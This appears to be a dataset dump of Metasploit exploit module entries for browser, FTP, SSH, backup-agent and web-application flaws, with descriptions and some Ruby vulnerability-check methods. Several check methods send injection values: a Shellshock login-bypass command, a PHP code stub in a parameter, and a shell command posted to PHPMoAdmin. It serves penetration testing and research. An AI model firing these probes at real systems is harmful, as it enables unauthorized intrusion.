deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow
Type: exploit
Path: modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb
Platform: win
Disclosure date: 2015-06-23
References: CVE-2015-3043, CVE-2015-3113, URL-https://helpx.adobe.com/security/products/flash-player/apsb15-06.html, URL-https://helpx.adobe.com/security/products/flash-player/apsb15-14.html, URL-http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/, URL-http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html, URL-http://bobao.360.cn/learning/detail/357.html

Description:
This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser
          encoded audio inside a FLV video, as exploited in the wild on June 2015. This module
          has been tested successfully on:

          Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,
          Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,
          Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,
          Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and
          Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.

          Note that this exploit is effective against both CVE-2015-3113 and the
          earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression
          to the same root cause as CVE-2015-3043.
Metasploit Module: Google Chrome versions before 87.0.4280.88 integer overflow during SimplfiedLowering phase
Type: exploit
Path: modules/exploits/multi/browser/chrome_simplifiedlowering_overflow.rb
Platform: linux
Disclosure date: 2020-11-19
References: CVE-2020-16040, URL-https://chromium-review.googlesource.com/c/v8/v8/+/2557498, URL-https://github.com/r4j0x00/exploits/tree/master/CVE-2020-16040, URL-https://faraz.faith/2021-01-07-cve-2020-16040-analysis/, URL-https://bugs.chromium.org/p/chromium/issues/detail?id=1150649

Description:
This module exploits an issue in Google Chrome versions before 87.0.4280.88 (64 bit).
          The exploit makes use of an integer overflow in the SimplifiedLowering phase in turbofan.
          It is used along with a type hardening bypass using ArrayPrototypeShift to create a JSArray with a length of -1.
          This is abused to gain arbitrary read/write into the isolate region.
          Then an ArrayBuffer can be used to achieve absolute arbitrary read/write.
          The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode.
          The payload is executed within the sandboxed renderer process, the browser must be run with the --no-sandbox option for the payload to work correctly.
Metasploit Module: Java Applet Field Bytecode Verifier Cache Remote Code Execution
Type: exploit
Path: modules/exploits/multi/browser/java_verifier_field_access.rb
Platform: java
Disclosure date: 2012-06-06
References: CVE-2012-1723, OSVDB-82877, BID-52161, URL-http://schierlm.users.sourceforge.net/CVE-2012-1723.html, URL-http://www.oracle.com/technetwork/topics/security/javacpujun2[PII_REDACTED].html, URL-https://bugzilla.redhat.com/show_bug.cgi?id=829373, URL-http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9, URL-http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b
Targets: Generic (Java Payload), Windows x86 (Native Payload), Mac OS X PPC (Native Payload), Mac OS X x86 (Native Payload), Linux x86 (Native Payload)

Description:
This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
          optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient
          type checks. This allows a way to escape the JRE sandbox, and load additional classes
          in order to perform malicious operations.
Metasploit Module: Java Signed Applet Social Engineering Code Execution
Type: exploit
Path: modules/exploits/multi/browser/java_signed_applet.rb
Platform: java
Disclosure date: 1997-02-19
References: URL-http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf
Targets: Generic (Java Payload), Windows x86 (Native Payload), Linux x86 (Native Payload), Mac OS X PPC (Native Payload), Mac OS X x86 (Native Payload)

Description:
This exploit dynamically creates a .jar file via the
          Msf::Exploit::Java mixin, then signs the it.  The resulting
          signed applet is presented to the victim via a web page with
          an applet tag.  The victim's JVM will pop a dialog asking if
          they trust the signed applet.

          On older versions the dialog will display the value of CERTCN
          in the "Publisher" line.  Newer JVMs display "UNKNOWN" when the
          signature is not trusted (i.e., it's not signed by a trusted
          CA).  The SigningCert option allows you to provide a trusted
          code signing cert, the values in which will override CERTCN.
          If SigningCert is not given, a randomly generated self-signed
          cert will be used.

          Either way, once the user clicks "run", the applet executes
          with full user permissions.
Metasploit Module: Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE
Type: exploit
Path: modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb
Platform: linux
Disclosure date: 2021-04-13
References: CVE-2021-21220, URL-http://web.archive.org/web/[PII_REDACTED]0051/https://github.com/r4j0x00/exploits/tree/master/chrome-0day, URL-https://twitter.com/r4j0x00/status/[PII_REDACTED]44793090, URL-https://bugs.chromium.org/p/chromium/issues/detail?id=1196683, URL-https://www.zerodayinitiative.com/advisories/ZDI-21-411/

Description:
This module exploits an issue in the V8 engine on x86_x64 builds of Google Chrome before 89.0.4389.128/90.0.4430.72
          when handling XOR operations in JIT'd JavaScript code. Successful exploitation allows an attacker to execute
          arbitrary code within the context of the V8 process.

          As the V8 process is normally sandboxed in the default configuration of Google Chrome, the browser must be run with the
          --no-sandbox option for the payload to work correctly.
Metasploit Module: Java Applet ProviderSkeleton Insecure Invoke Method
Type: exploit
Path: modules/exploits/multi/browser/java_jre17_provider_skeleton.rb
Platform: java
Disclosure date: 2013-06-18
References: CVE-2013-2460, OSVDB-94346, URL-http://www.oracle.com/technetwork/topics/security/javacpujun2[PII_REDACTED].html, URL-http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a, URL-http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf, URL-http://www.security-explorations.com/materials/se-2012-01-61.zip
Targets: Generic (Java Payload), Windows x86 (Native Payload), Mac OS X x86 (Native Payload), Linux x86 (Native Payload)

Description:
This module abuses the insecure invoke() method of the ProviderSkeleton class that
          allows to call arbitrary static methods with user supplied arguments. The vulnerability
          affects Java version 7u21 and earlier.
Metasploit Module: Google Chrome 72 and 73 Array.map exploit
Type: exploit
Path: modules/exploits/multi/browser/chrome_array_map.rb
Platform: windows
Disclosure date: 2019-03-07
References: CVE-2019-5825, URL-https://bugs.chromium.org/p/chromium/issues/detail?id=941743, URL-https://github.com/exodusintel/Chromium-941743, URL-https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/, URL-https://lordofpwn.kr/cve-2019-5825-v8-exploit/

Description:
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
          The exploit corrupts the length of a float in order to modify the backing store
          of a typed array. The typed array can then be used to read and write arbitrary
          memory. The exploit then uses WebAssembly in order to allocate a region of RWX
          memory, which is then replaced with the payload.
          The payload is executed within the sandboxed renderer process, so the browser
          must be run with the --no-sandbox option for the payload to work correctly.
Metasploit Module: Google Chrome 67, 68 and 69 Object.create exploit
Type: exploit
Path: modules/exploits/multi/browser/chrome_object_create.rb
Platform: win
Disclosure date: 2018-09-25
References: CVE-2018-17463, URL-http://www.phrack.org/papers/jit_exploitation.html, URL-https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce, URL-https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf, URL-https://bugs.chromium.org/p/chromium/issues/detail?id=888923
Targets: Windows 7 (x64) sandbox escape via CVE-2019-1458

Description:
This modules exploits a type confusion in Google Chromes JIT compiler.
          The Object.create operation can be used to cause a type confusion between a
          PropertyArray and a NameDictionary.
          The payload is executed within the rwx region of the sandboxed renderer
          process.
          This module can target the renderer process (target 0), but Google
          Chrome must be launched with the --no-sandbox flag for the payload to
          execute successfully.
          Alternatively, this module can use CVE-2019-1458 to escape the renderer
          sandbox (target 1). This will only work on vulnerable versions of
          Windows (e.g Windows 7) and the exploit can only be triggered once.
          Additionally the exploit can cause the target machine to restart
          when the session is terminated. A BSOD is also likely to occur when
          the system is shut down or rebooted.
Metasploit Module: GDB Server Remote Payload Execution
Type: exploit
Path: modules/exploits/multi/gdb/gdb_server_exec.rb
Platform: %w[linux unix osx
Disclosure date: 2014-08-24
References: URL-https://github.com/rapid7/metasploit-framework/pull/3691
Targets: x86, x86_64, ARMLE, AARCH64

Description:
This module attempts to execute an arbitrary payload on a loose gdbserver service.
Metasploit Module: Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)
Type: exploit
Path: modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb
Platform: linux
Disclosure date: 2014-09-24
References: CVE-2014-6271, OSVDB-112004, EDB-34765, URL-https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc, URL-http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules
Targets: Linux x86, Linux x86_64

Description:
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
          handles external environment variables. This module targets the Pure-FTPd FTP
          server when it has been compiled with the --with-extauth flag and an external
          Bash script is used for authentication. If the server is not set up this way,
          the exploit will fail, even if the version of Bash in use is vulnerable.

Check method (fingerprinting):
# this check method tries to use the vulnerability to bypass the login
    username = rand_text_alphanumeric(rand(20) + 1)
    random_id = (rand(100) + 1)
    command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
    if send_command(username, command) =~ /^2\d\d ok./i
      disconnect
      return CheckCode::Safe('Target does not appear to be running Pure-FTPd') if banner !~ /pure-ftpd/i

      command = "echo auth_ok:0; echo end"
      if send_command(username, command) =~ /^5\d\d login authentication failed/i
        disconnect
        return CheckCode::Vulnerable('Pure-FTPd bash environment variable injection confirmed')
      end
    end
    disconnect

    CheckCode::Safe('Pure-FTPd not vulnerable to bash environment variable injection')
  end
Metasploit Module: WU-FTPD SITE EXEC/INDEX Format String Vulnerability
Type: exploit
Path: modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
Disclosure date: Jun 22 2000
References: CVE-2000-0573, OSVDB-11805, BID-1387

Description:
This module exploits a format string vulnerability in versions of the
          Washington University FTP server older than 2.6.1. By executing
          specially crafted SITE EXEC or SITE INDEX commands containing format
          specifiers, an attacker can corrupt memory and execute arbitrary code.

Check method (fingerprinting):
# NOTE: We don't care if the login failed here...
    ret = connect_login

    # We just want the banner to check against our targets..
    vprint_status("FTP Banner: #{banner.strip}")
    status = Exploit::CheckCode::Safe('WU-FTPD not detected or version is not vulnerable')
    if banner =~ /Version wu-2\.(4|5)/
      status = Exploit::CheckCode::Appears('WU-FTPD 2.x version detected')
    elsif banner =~ /Version wu-2\.6\.0/
      status = Exploit::CheckCode::Appears('WU-FTPD 2.6.0 detected')
    end

    # If we've made it this far, we care if login succeeded.
    if (ret)
      # NOTE: vulnerable and exploitable might not mean the same thing here :)
      if not fmtstr_detect_vulnerable
        status = Exploit::CheckCode::Safe('Format string vulnerability not detected')
      end
      if not fmtstr_detect_exploitable
        status = Exploit::CheckCode::Safe('Format string vulnerability not exploitable')
      end
    end

    disconnect
    return status
  end
Metasploit Module: SSH User Code Execution
Type: exploit
Path: modules/exploits/multi/ssh/sshexec.rb
Platform: linux
Disclosure date: Jan 01 1999
Authors: Spencer McIntyre
References: CVE-1999-0502
Targets: Linux Command, Linux x86, Linux x64, Linux armle, Linux mipsle, Linux mipsbe, Linux aarch64, OSX x86, OSX x64, BSD x86

Description:
This module connects to the target system and executes the necessary
        commands to run the specified payload via SSH. If a native payload is
        specified, an appropriate stager will be used.
Metasploit Module: Veritas Backup Exec Agent Remote Code Execution
Type: exploit
Path: modules/exploits/multi/veritas/beagent_sha_auth_rce.rb
Platform: win
Disclosure date: 2021-03-01
Authors: Alexander Korotin <0xc0rs[at]gmail.com>
References: CVE-2021-27876, CVE-2021-27877, CVE-2021-27878, URL-http://web.archive.org/web/[PII_REDACTED]2651/https://www.veritas.com/content/support/en_US/security/VTS21-001
Targets: Windows, Linux

Description:
Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.
          This authentication scheme is no longer used within Backup Exec versions, but hadn't yet been disabled.
          An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
          the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges
          depending on the platform.

          The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
          including Backup Exec Remote Agent revision 9.3)

Check method (fingerprinting):
print_status('Checking vulnerability')

    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
    return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status

    print_status('Getting supported authentication types')
    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
    )
    ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
    print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
                                                            "#{AUTH_TYPES[k]} (#{k})"
                                                          end.join(', ')}")
    print_status("BE agent revision: #{ndmp_payload.revision}")

    if ndmp_payload.auth_types.include?(5)
      Exploit::CheckCode::Appears('SHA authentication is enabled')
    else
      Exploit::CheckCode::Safe('SHA authentication is disabled')
    end
  end
Metasploit Module: WordPress Royal Elementor Addons RCE
Type: exploit
Path: modules/exploits/multi/http/wp_royal_elementor_addons_rce.rb
Platform: unix
Disclosure date: 2023-11-23
References: CVE-2023-5360, URL-https://vulners.com/nuclei/NUCLEI:CVE-2023-5360

Description:
Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).

Check method (fingerprinting):
return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("WordPress Version: #{wp_version}") if wp_version

    check_code = check_plugin_version_from_readme('royal-elementor-addons', '1.3.79')

    if check_code.code != 'appears'
      return CheckCode::Safe('The target is not running a vulnerable version')
    end

    plugin_version = check_code.details[:version]
    print_good("Detected Royal Elementor Addons version: #{plugin_version}")
    return CheckCode::Appears('The target appears to be a vulnerable version')
  end
Metasploit Module: phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection
Type: exploit
Path: modules/exploits/multi/http/phpscheduleit_start_date.rb
Platform: php
Disclosure date: 2008-10-01
References: CVE-2008-6132, OSVDB-48797, BID-31520, EDB-6646

Description:
This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt
          software. This vulnerability is only exploitable when the magic_quotes_gpc PHP
          option is 'off'. Authentication is not required to exploit the bug.

          Version 1.2.10 and earlier of phpScheduleIt are affected.

Check method (fingerprinting):
signature = rand_text_alpha(rand(10) + 10)
    stub = "1').${print('#{signature}')}.${die};#"
    my_payload = "btnSubmit=1&start_date=#{stub}"

    uri = normalize_uri(datastore['URI'])
    uri << '/' if uri[-1, 1] != '/'

    vprint_status("Checking uri #{uri}")

    response = send_request_cgi({
      'method' => "POST",
      'global' => true,
      'uri' => uri,
      'headers' => {
        'Referer' => uri,
      },
      'data' => "#{my_payload}"
    }, 25)

    if response.code == 200 and response.body =~ /#{signature}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: ConnectWise ScreenConnect Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/connectwise_screenconnect_rce_cve_2024_1709.rb
Platform: win
Disclosure date: 2024-02-19
References: CVE-2024-1708, CVE-2024-1709, URL-https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8, URL-https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/, URL-https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
Targets: Windows In-Memory, Windows Command, Linux Command

Description:
This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create
          a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage
          this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7
          and below are affected.

Check method (fingerprinting):
# This is a file found on the recent 23.9.7.8804 (Circa 2024), an out of support 20.3.31734 (Circa 2021), and
    # a very old 2.5.3409.4645 (Circa 2012). So we can expect this file to exist on all targets. As this endpoint
    # expects authentication, the response will be a 302 redirect to the Login page. As Windows is case insensitive
    # we can request 'Host.aspx' with any case and get the expected 302 response, however Linux is case sensitive and
    # will always 404 a request to 'Host.aspx' if we jumble up the case. Both a 302 and 404 response will still include
    # the Server header, which we use to confirm both ScreenConnect and the version number.
    host_aspx = 'Host.aspx'

    host_aspx = loop do
      jumblecase_host_aspx = host_aspx.chars.map { |c| rand(2) == 0 ? c.upcase : c.downcase }.join
      break jumblecase_host_aspx unless jumblecase_host_aspx == host_aspx
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, host_aspx)
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 302 || res.code == 404

    platform = res.code == 302 ? 'Windows' : 'Linux'

    if res.headers.key?('Server') && (res.headers['Server'] =~ %r{ScreenConnect/(\d+\.\d+.\d+)})

      detected = "ConnectWise ScreenConnect #{Regexp.last_match(1)} running on #{platform}."

      if Rex::Version.new(Regexp.last_matc
Metasploit Module: PHPMoAdmin 1.1.2 Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/phpmoadmin_exec.rb
Platform: php
Disclosure date: 2015-03-03
References: CVE-2015-2208, EDB-36251, URL-https://seclists.org/fulldisclosure/2015/Mar/19, URL-https://seclists.org/oss-sec/2015/q1/743

Description:
This module exploits an arbitrary PHP command execution vulnerability due to a
          dangerous use of eval() in PHPMoAdmin.

Check method (fingerprinting):
testrun = Rex::Text::rand_text_alpha(10)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'moadmin.php'),
      'method' => 'POST',
      'vars_post' =>
      {
        'object'	=> "1;echo '#{testrun}';exit",
      }
    })

    if res and res.body.include?(testrun)
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/uptime_file_upload_1.rb
Platform: php
Disclosure date: 2013-11-19
References: CVE-2025-34121, OSVDB-100423, BID-64031, URL-http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf

Description:
This module exploits an arbitrary file upload vulnerability found within the Up.Time
          monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
          webroot without authentication, leading to arbitrary code execution.

          Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly
          mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use
          exploits/multi/http/uptime_file_upload_2.

Check method (fingerprinting):
uri = target_uri.path

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
    })

    if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end